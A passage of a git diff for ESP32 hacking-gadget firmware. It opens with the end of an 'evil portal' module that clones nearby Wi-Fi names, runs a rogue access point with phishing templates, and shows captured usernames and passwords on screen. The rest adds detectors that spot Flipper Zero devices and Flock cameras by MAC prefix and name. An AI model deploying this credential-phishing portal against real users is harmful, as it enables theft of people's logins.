u8g2.drawStr(0, 20, "MAC:"); + u8g2.drawStr(25, 20, macStr); + + char userStr[22]; + if (cred.username.length() > 20) { + strncpy(userStr, cred.username.c_str(), 18); + userStr[18] = '\0'; + strcat(userStr, ".."); + } else { + strcpy(userStr, cred.username.c_str()); + } + u8g2.drawStr(0, 30, "User:"); + u8g2.drawStr(30, 30, userStr); + + char passStr[22]; + if (cred.password.length() > 20) { + strncpy(passStr, cred.password.c_str(), 18); + passStr[18] = '\0'; + strcat(passStr, ".."); + } else { + strcpy(passStr, cred.password.c_str()); + } + u8g2.drawStr(0, 40, "Pass:"); + u8g2.drawStr(30, 40, passStr); + + char infoStr[32]; + unsigned long currentTime = millis(); + unsigned long elapsedMs = currentTime - cred.captureTime; + unsigned long elapsedMinutes = elapsedMs / 60000; + snprintf(infoStr, sizeof(infoStr), "%d/%d - %lum ago", + credIndex + 1, (int)capturedCreds.size(), elapsedMinutes); + u8g2.drawStr(0, 50, infoStr); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Nav L=Back SEL=EXIT"); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +} + +void evilPortalSetup() { + currentState = PORTAL_MENU; + menuSelection = 0; + credIndex = 0; + totalVisitors = 0; + connectedClients = 0; + currentSSIDIndex = 0; + menuEnterTime = millis(); + + needsRedraw = true; + lastMenuSelection = -1; + lastCredIndex = -1; + lastConnectedClients = -1; + lastTotalVisitors = -1; + lastCapturedCredsSize = 0; + lastScannedSSIDsSize = 0; + lastState = PORTAL_MENU; + lastCurrentSSID = ""; + lastCurrentTemplate = -1; + lastStatusUpdate = 0; + + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + + esp_netif_init(); + esp_event_loop_create_default(); + + initWiFi(WIFI_MODE_STA); + + scannedSSIDs.clear(); + portal_isScanning = true; + portal_scanCompleted = false; + portal_lastApCount = 0; + portal_scanStartTime = millis(); + portal_lastDisplayUpdate = millis(); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + + esp_wifi_scan_start(&scan_config, false); + currentState = PORTAL_SCANNING; +} + +void evilPortalLoop() { + unsigned long now = millis(); + + static bool upPressed = false, downPressed = false; + static bool rightPressed = false, leftPressed = false; + bool upNow = digitalRead(BUTTON_PIN_UP) == LOW; + bool downNow = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool rightNow = digitalRead(BUTTON_PIN_RIGHT) == LOW; + bool leftNow = digitalRead(BUTTON_PIN_LEFT) == LOW; + + if (lastState != currentState) { + lastState = currentState; + needsRedraw = true; + } + + if (currentState == PORTAL_SCANNING) { + updateScan(); + upPressed = upNow; + downPressed = downNow; + rightPressed = rightNow; + leftPressed = leftNow; + return; + } + + switch (currentState) { + case PORTAL_MENU: + if (portal_scanCompleted && now - portal_lastScanTime > SCAN_INTERVAL) { + startScan(); + return; + } + + if (lastMenuSelection != menuSelection) { + lastMenuSelection = menuSelection; + needsRedraw = true; + } + if (lastCurrentSSID != currentSSID) { + lastCurrentSSID = currentSSID; + needsRedraw = true; + } + if (lastCurrentTemplate != currentTemplate) { + lastCurrentTemplate = currentTemplate; + needsRedraw = true; + } + if (lastCapturedCredsSize != (int)capturedCreds.size()) { + lastCapturedCredsSize = (int)capturedCreds.size(); + needsRedraw = true; + } + + if (upNow && !upPressed) { + menuSelection = (menuSelection - 1 + 4) % 4; + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed) { + menuSelection = (menuSelection + 1) % 4; + needsRedraw = true; + delay(200); + } + if (leftNow && !leftPressed) { + switch (menuSelection) { + case 1: + currentTemplate = (currentTemplate - 1 + numTemplates) % numTemplates; + needsRedraw = true; + break; + case 2: + if (!scannedSSIDs.empty()) { + currentSSIDIndex = (currentSSIDIndex - 1 + scannedSSIDs.size()) % scannedSSIDs.size(); + currentSSID = scannedSSIDs[currentSSIDIndex]; + } else { + static int ssidIndexL = 0; + ssidIndexL = (ssidIndexL - 1 + customSSIDCount) % customSSIDCount; + currentSSID = String(customSSIDs[ssidIndexL]); + } + needsRedraw = true; + break; + } + delay(200); + } + if (rightNow && !rightPressed) { + switch (menuSelection) { + case 0: + setupPortalAP(); + currentState = PORTAL_RUNNING; + needsRedraw = true; + break; + case 1: + currentTemplate = (currentTemplate + 1) % numTemplates; + needsRedraw = true; + break; + case 2: + if (!scannedSSIDs.empty()) { + currentSSIDIndex = (currentSSIDIndex + 1) % scannedSSIDs.size(); + currentSSID = scannedSSIDs[currentSSIDIndex]; + } else { + static int ssidIndex = 0; + ssidIndex = (ssidIndex + 1) % customSSIDCount; + currentSSID = String(customSSIDs[ssidIndex]); + } + needsRedraw = true; + break; + case 3: + currentState = PORTAL_VIEW_CREDS; + credIndex = 0; + needsRedraw = true; + break; + } + delay(200); + } + + if (needsRedraw) { + needsRedraw = false; + drawPortalMenu(); + } + break; + + case PORTAL_RUNNING: + if (leftNow && !leftPressed) { + stopPortalAP(); + + initWiFi(WIFI_MODE_STA); + + currentState = PORTAL_MENU; + menuEnterTime = millis(); + needsRedraw = true; + delay(200); + } + portalDNS.processNextRequest(); + portalServer.handleClient(); + + wifi_sta_list_t stationList; + esp_wifi_ap_get_sta_list(&stationList); + connectedClients = stationList.num; + + if (lastConnectedClients != connectedClients) { + lastConnectedClients = connectedClients; + needsRedraw = true; + } + if (lastTotalVisitors != totalVisitors) { + lastTotalVisitors = totalVisitors; + needsRedraw = true; + } + + if (now - lastStatusUpdate >= statusUpdateInterval) { + lastStatusUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + needsRedraw = false; + drawPortalStatus(); + } + break; + + case PORTAL_VIEW_CREDS: + if (lastCredIndex != credIndex) { + lastCredIndex = credIndex; + needsRedraw = true; + } + + if (now - lastStatusUpdate >= statusUpdateInterval) { + lastStatusUpdate = now; + needsRedraw = true; + } + + if (upNow && !upPressed && !capturedCreds.empty()) { + credIndex = (credIndex - 1 + capturedCreds.size()) % capturedCreds.size(); + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed && !capturedCreds.empty()) { + credIndex = (credIndex + 1) % capturedCreds.size(); + needsRedraw = true; + delay(200); + } + if (leftNow && !leftPressed) { + currentState = PORTAL_MENU; + menuEnterTime = millis(); + needsRedraw = true; + delay(200); + } + + if (needsRedraw) { + needsRedraw = false; + drawCredentialsList(); + } + break; + } + upPressed = upNow; + downPressed = downNow; + rightPressed = rightNow; + leftPressed = leftNow; +} + +void cleanupEvilPortal() { + if (currentState == PORTAL_RUNNING) { + portalServer.stop(); + portalDNS.stop(); + } + cleanupWiFi(); + ap_netif = NULL; +} \ No newline at end of file diff --git a/cyd-port/src/flipperzero_detector.cpp b/cyd-port/src/flipperzero_detector.cpp new file mode 100644 index 0000000..047a188 --- /dev/null +++ b/cyd-port/src/flipperzero_detector.cpp @@ -0,0 +1,617 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/flipperzero_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct FlipperZeroDeviceData { + char name[32]; + char address[18]; + char color[16]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + bool isFlipperZero; +}; +static std::vector flipperZeroDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +const char* getFlipperColorFromUUID(uint8_t *adv_data, uint8_t adv_data_len) { + // Flipper Zero uses 16-bit service UUIDs: + // Black: 0x3081, white: 0x3082, transparent: 0x3083 + + uint8_t uuid_len = 0; + uint8_t *uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_CMPL, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 2) { + for (int i = 0; i + 2 <= uuid_len; i += 2) { + uint16_t service_uuid = uuid_data[i] | (uuid_data[i+1] << 8); + + if (service_uuid == 0x3081) return "Black"; + if (service_uuid == 0x3082) return "White"; + if (service_uuid == 0x3083) return "Transparent"; + if ((service_uuid & 0xFFF0) == 0x3080) return "Generic"; + } + } + + uuid_len = 0; + uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_PART, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 2) { + for (int i = 0; i + 2 <= uuid_len; i += 2) { + uint16_t service_uuid = uuid_data[i] | (uuid_data[i+1] << 8); + + if (service_uuid == 0x3081) return "Black"; + if (service_uuid == 0x3082) return "White"; + if (service_uuid == 0x3083) return "Transparent"; + if ((service_uuid & 0xFFF0) == 0x3080) return "Generic"; + } + } + + return "Unknown"; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + bool isFlipperByMAC = (strncasecmp(addrStr, "80:e1:26", 8) == 0) || + (strncasecmp(addrStr, "80:e1:27", 8) == 0) || + (strncasecmp(addrStr, "0c:fa:22", 8) == 0); + + if (!isFlipperByMAC) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (flipperZeroDevices.size() >= MAX_DEVICES) { + return; + } + + const char* detectedColor = getFlipperColorFromUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + for (size_t i = 0; i < flipperZeroDevices.size(); i++) { + if (strcmp(flipperZeroDevices[i].address, addrStr) == 0) { + flipperZeroDevices[i].rssi = scan_result->scan_rst.rssi; + flipperZeroDevices[i].lastSeen = millis(); + + if (strcmp(detectedColor, "Unknown") != 0 && strcmp(detectedColor, "Generic") != 0) { + strncpy(flipperZeroDevices[i].color, detectedColor, 15); + flipperZeroDevices[i].color[15] = '\0'; + } + + if (!flipperZeroDevices[i].hasName) { + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(flipperZeroDevices[i].name, adv_name, adv_name_len); + flipperZeroDevices[i].name[adv_name_len] = '\0'; + flipperZeroDevices[i].hasName = true; + } + } + + if (!isLocateMode) { + std::sort(flipperZeroDevices.begin(), flipperZeroDevices.end(), + [](const FlipperZeroDeviceData &a, const FlipperZeroDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + FlipperZeroDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + newDev.isFlipperZero = true; + + strncpy(newDev.color, detectedColor, 15); + newDev.color[15] = '\0'; + + strcpy(newDev.name, "Flipper Zero"); + newDev.hasName = false; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + newDev.hasName = true; + } + + flipperZeroDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(flipperZeroDevices.begin(), flipperZeroDevices.end(), + [](const FlipperZeroDeviceData &a, const FlipperZeroDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void flipperZeroDetectorSetup() { + flipperZeroDevices.clear(); + flipperZeroDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Flippers..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void flipperZeroDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)flipperZeroDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)flipperZeroDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Flippers..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)flipperZeroDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (flipperZeroDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (flipperZeroDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (flipperZeroDevices.size() >= MAX_DEVICES) { + std::sort(flipperZeroDevices.begin(), flipperZeroDevices.end(), + [](const FlipperZeroDeviceData &a, const FlipperZeroDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + flipperZeroDevices.erase(flipperZeroDevices.begin(), + flipperZeroDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)flipperZeroDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !flipperZeroDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !flipperZeroDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, flipperZeroDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (flipperZeroDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)flipperZeroDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)flipperZeroDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (flipperZeroDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (flipperZeroDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Flippers..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Flippers found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = flipperZeroDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = flipperZeroDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "Color: %s", dev.color); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 40, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 50, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Flippers: %d/%d", + (int)flipperZeroDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)flipperZeroDevices.size()) + break; + auto &d = flipperZeroDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displayName = d.name[0] ? d.name : "Flipper"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/flock_detector.cpp b/cyd-port/src/flock_detector.cpp new file mode 100644 index 0000000..5adbac9 --- /dev/null +++ b/cyd-port/src/flock_detector.cpp @@ -0,0 +1,828 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/flock_detector.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include "../include/radio_manager.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +enum ScanPhase { + PHASE_WIFI_INIT, + PHASE_BLE_INIT, + PHASE_COMPLETED +}; + +struct FlockDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + bool isWiFi; + unsigned long lastSeen; + char detectionMethod[32]; +}; + +static std::vector flockDevices; + +const int MAX_DEVICES = 100; + +// Wi-Fi SSID patterns +const char* wifi_ssid_patterns[] = { + "flock", "Flock", "FLOCK", + "FS Ext Battery", + "Penguin", + "Pigvision" +}; +const int wifi_ssid_patterns_count = sizeof(wifi_ssid_patterns) / sizeof(wifi_ssid_patterns[0]); + +// MAC address prefixes +const char* mac_prefixes[] = { + // FS Ext Battery devices + "58:8e:81", "cc:cc:cc", "ec:1b:bd", "90:35:ea", "04:0d:84", + "f0:82:c0", "1c:34:f1", "38:5b:44", "94:34:69", "b4:e3:f9", + // Flock Wi-Fi devices + "70:c9:4e", "3c:91:80", "d8:f3:bc", "80:30:49", "14:5a:fc", + "74:4c:a1", "08:3a:88", "9c:2f:9d", "94:08:53", "e4:aa:ea" +}; +const int mac_prefixes_count = sizeof(mac_prefixes) / sizeof(mac_prefixes[0]); + +// Device name patterns for BLE +const char* device_name_patterns[] = { + "FS Ext Battery", + "Penguin", + "Flock", + "Pigvision" +}; +const int device_name_patterns_count = sizeof(device_name_patterns) / sizeof(device_name_patterns[0]); + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static ScanPhase currentPhase = PHASE_WIFI_INIT; +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long wifiScanDuration = 8000; +const unsigned long bleScanDuration = 8000; +static unsigned long phaseStartTime = 0; + +static bool bleInitialized = false; +static bool wifiInitialized = false; +static bool scanCompleted = false; + +static uint8_t current_channel = 1; +static unsigned long last_channel_hop = 0; +const unsigned long CHANNEL_HOP_INTERVAL = 500; +const uint8_t MAX_CHANNEL = 13; + +typedef struct { + unsigned frame_ctrl:16; + unsigned duration_id:16; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + unsigned sequence_ctrl:16; + uint8_t addr4[6]; +} wifi_ieee80211_mac_hdr_t; + +typedef struct { + wifi_ieee80211_mac_hdr_t hdr; + uint8_t payload[0]; +} wifi_ieee80211_packet_t; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +void hop_channel() { + unsigned long now = millis(); + if (now - last_channel_hop > CHANNEL_HOP_INTERVAL) { + current_channel++; + if (current_channel > MAX_CHANNEL) { + current_channel = 1; + } + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_channel_hop 